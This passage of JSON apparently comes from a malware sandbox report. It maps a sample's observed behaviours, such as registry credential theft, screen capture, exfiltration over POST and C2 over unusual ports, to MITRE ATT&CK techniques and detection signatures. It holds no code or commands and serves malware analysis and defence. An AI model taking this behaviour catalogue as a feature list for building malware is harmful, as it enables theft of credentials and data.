process"},{"type":"informative","value":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"suspicious","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"},{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin\")\n Found reference to API \"QueryPerformanceFrequency\" (Indicator: \"QueryPerformanceFrequency\"; File: \"89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"